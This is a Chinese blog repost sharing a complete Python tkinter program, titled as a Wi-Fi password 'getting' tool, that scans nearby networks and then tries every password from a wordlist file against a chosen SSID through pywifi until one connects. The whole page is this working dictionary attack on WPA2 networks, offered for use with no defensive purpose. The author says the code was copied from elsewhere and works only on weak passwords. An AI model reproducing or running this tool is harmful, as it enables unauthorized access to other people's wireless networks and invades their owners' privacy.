首页 > 其他分享 >对wifi密码进行获取

对wifi密码进行获取

时间:2023-05-30 17:02:13浏览次数:40  
标签:10 获取 text self wifi tree 密码 frame

简单的密码,还可以,复杂的密码基本没戏,代码是从别的地方复制过来的。

# coding:utf-8
from tkinter import *
from tkinter import ttk  
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox


class WiFiCracker:
    def __init__(self):
        self.wifi = pywifi.PyWiFi()  #抓取网卡接口
        self.iface = self.wifi.interfaces()[0] #抓取第一个无线网卡
        self.iface.disconnect()  #测试链接断开所有链接
        time.sleep(1)  #休眠1秒
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def scan_wifi_list(self):
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        scanres = self.iface.scan_results()
        nums = len(scanres)
        print("数量: %s"%(nums))
        return scanres

    def connect_wifi(self, pwd_str, wifi_ssid):
        profile = pywifi.Profile()
        profile.ssid = wifi_ssid
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd_str
        self.iface.remove_all_network_profiles()
        tmp_profile = self.iface.add_network_profile(profile)
        self.iface.connect(tmp_profile)
        time.sleep(5)
        is_ok = self.iface.status() == const.IFACE_CONNECTED
        self.iface.disconnect()
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return is_ok


class GUI:
    def __init__(self):
        self.cracker = WiFiCracker()
        self.root = Tk()
        self.root.title("WiFi获取工具")
        self.root.geometry('+500+200')

        # 定义搜索wifi的frame
        scan_frame = LabelFrame(self.root, width=400, height=50, text="搜索附近WiFi")
        scan_frame.pack(side=TOP, padx=10, pady=10)
        Button(scan_frame, text="搜索", command=self.scan_wifi).pack(side=LEFT, padx=10, pady=10)

        # 定义选择密码文件的frame
        mm_file_frame = LabelFrame(self.root, width=400, height=50, text="添加密码文件目录")
        mm_file_frame.pack(side=TOP, padx=10, pady=10)
        self.filename_text = StringVar()
        Entry(mm_file_frame, width=12, textvariable=self.filename_text).pack(side=LEFT, padx=10, pady=10)
        Button(mm_file_frame, text="浏览", command=self.select_mm_file).pack(side=LEFT, padx=10, pady=10)

        # 定义WiFi列表的frame
        wifi_list_frame = LabelFrame(self.root, width=400, height=200, text="WiFi列表")
        wifi_list_frame.pack(side=TOP, padx=10, pady=10)
        self.wifi_tree = ttk.Treeview(wifi_list_frame, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(wifi_list_frame, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)

        # 表格的标题
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="Signal")
        self.wifi_tree.pack(side=LEFT, fill=BOTH, expand=YES)
        self.vbar.pack(side=LEFT, fill=Y)

        # 定义WiFi账号和密码的frame
        wifi_mm_frame = LabelFrame(self.root, width=400, height=50, text="WiFi账号和密码")
        wifi_mm_frame.pack(side=TOP, padx=10, pady=10)
        self.wifi_text = StringVar()
        self.wifi_mm_text = StringVar()
        Entry(wifi_mm_frame, width=12, textvariable=self.wifi_text).pack(side=LEFT, padx=10, pady=10)
        Entry(wifi_mm_frame, width=10, textvariable=self.wifi_mm_text).pack(side=LEFT, padx=10, pady=10)
        Button(wifi_mm_frame, text="开始获取", command=self.start_crack).pack(side=LEFT, padx=10, pady=10)

    def scan_wifi(self):
        for item in self.wifi_tree.get_children():
            self.wifi_tree.delete(item)
        scans_res = self.cracker.scan_wifi_list()
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

    def select_mm_file(self):
        filename = tkinter.filedialog.askopenfilename()
        self.filename_text.set(filename)

    def start_crack(self):
        get_filepath = self.filename_text.get()
        get_wifissid = self.wifi_text.get()
        pwd_file_handler = open(get_filepath, "r", errors="ignore")
        while True:
            try:
                pwd_str = pwd_file_handler.readline()
                if not pwd_str:
                    break
                is_found = self.cracker.connect_wifi(pwd_str, get_wifissid)
                if is_found:
                    res = "===正确===  WiFi名:%s  匹配密码:%s"%(get_wifissid, pwd_str)
                    tkinter.messagebox.showinfo('提示', '获取成功!!!')
                    print(res)
                    break
                else:
                    res = "---错误--- WiFi名:%s匹配密码:%s"%(get_wifissid, pwd_str)
                    print(res)
                time.sleep(3)
            except:
                continue

    def start(self):
        self.root.mainloop()


if __name__ == '__main__':
    gui = GUI()
    gui.start()

标签:10,获取,text,self,wifi,tree,密码,frame
From: https://blog.51cto.com/simeon/6380663

相关文章

  • uiautomator2获取UIObject元素的属性info用法
    info是UIAutomator2中用来获取控件属性信息的方法。该方法可以获取到指定元素的一些属性信息,例如控件的文本、坐标、大小、类名、包名、是否可见等。使用该方法可以帮助我们更好的理解应用程序的UI结构,并找到需要操作的控件元素。d(text=element,instance=index).infoinfo是U......
  • js 获取 image 原始高度
    新版浏览器//这个api仅支持新版本浏览器,旧版还是得创建一个内部图片setTimeout(()=>{letimgRef=this.$refs.imgthis.imgWidth=imgRef.naturalWidththis.imgHeight=imgRef.naturalHeight},10)旧版浏览器(兼容)fu......
  • 获取并改变display的值
    1.获取display的值//jquery.css("display")//js.style.display; 2.更改display的值//jquery方式.css("display","none");//js方式.style.display="none"; 转自https://blog.csdn.net/qq_41121204/article/details/92995933......
  • 通过SQL获取每个月第n周任意天的数据
    1.场景描述MySQL数据库中有日期字段,通过SQL查询每个月第n周的周内任意一天的数据。2.实现SQL通过SQL查询每个月第二周的周一的数据SELECT*FROMtransactionsWHEREDAYOFWEEK(`create_time`)=2ANDWEEK(`create_time`,3)=WEEK(DATE_SUB(`create_ti......
  • 根据ProcessId获取进程的窗口句柄
    functionTForm1.GetHWndByPID(consthPID:THandle):THandle;typePEnumInfo=^TEnumInfo;TEnumInfo=recordProcessID:DWORD;HWND:THandle;end;functionEnumWindowsProc(Wnd:DWORD;varEI:TEnumInfo):Bool;stdcall;var......
  • 2023-05-30 前端通过node获取七牛云的token(token最好还是在后端返回,前端获取token会暴
    constfs=require('fs');constqiniu=require('qiniu');varaccessKey='你的accessKey';varsecretKey='你的secretKey';varmac=newqiniu.auth.digest.Mac(accessKey,secretKey);//获取七牛tokenvaroptions={......
  • Wifi - 查看连接过的Wifi的密码
     使用管理员身份打开命令提示符MicrosoftWindows[版本10.0.22621.1702](c)MicrosoftCorporation。保留所有权利。C:\Windows\System32>netshwlanshowprofilesdashuju2key=clear|findstr关键内容关键内容:dsj123456C:\Windows\System32>das......
  • php获取目录权限
    要获取PHP目录权限,可以使用fileperms()函数来检索文件或目录的访问权限。以下是一个简单的示例代码:$directory='/path/to/directory';$permissions=fileperms($directory);echosubstr(sprintf('%o',$permissions),-4);这将输出一个4位的八进制数字,表示目录的权限。例......
  • Mysql Php 推送获取随机数据解决分页重复问题
    或许你已经看过很多博主写的文章,要不就是抄袭,要不就是给你一个下面的语句,随机是随机了,但是多来两页,你会发现前面出现的数据在第三页甚至第二页就出现了select*fromtableorderbyrand()这是因为rand()机制的问题,他每次都会打乱数据给你,然后你去取的时候0-10,11-20都有可能......
  • “编不下去了!”~如何在泛型方法里获取T的类型?
    我定义了一个hessian2反序列化的工具方法。为了便于使用,使用了泛型。可是遇到了一个问题,其中调用的Hessian2Input#readObject的入参类型是Class实例。那么,怎么获取泛型T的类型呢?publicstatic<T>Tdeserialize(byte[]bytes)throwsIOException{try(ByteArrayInputStr......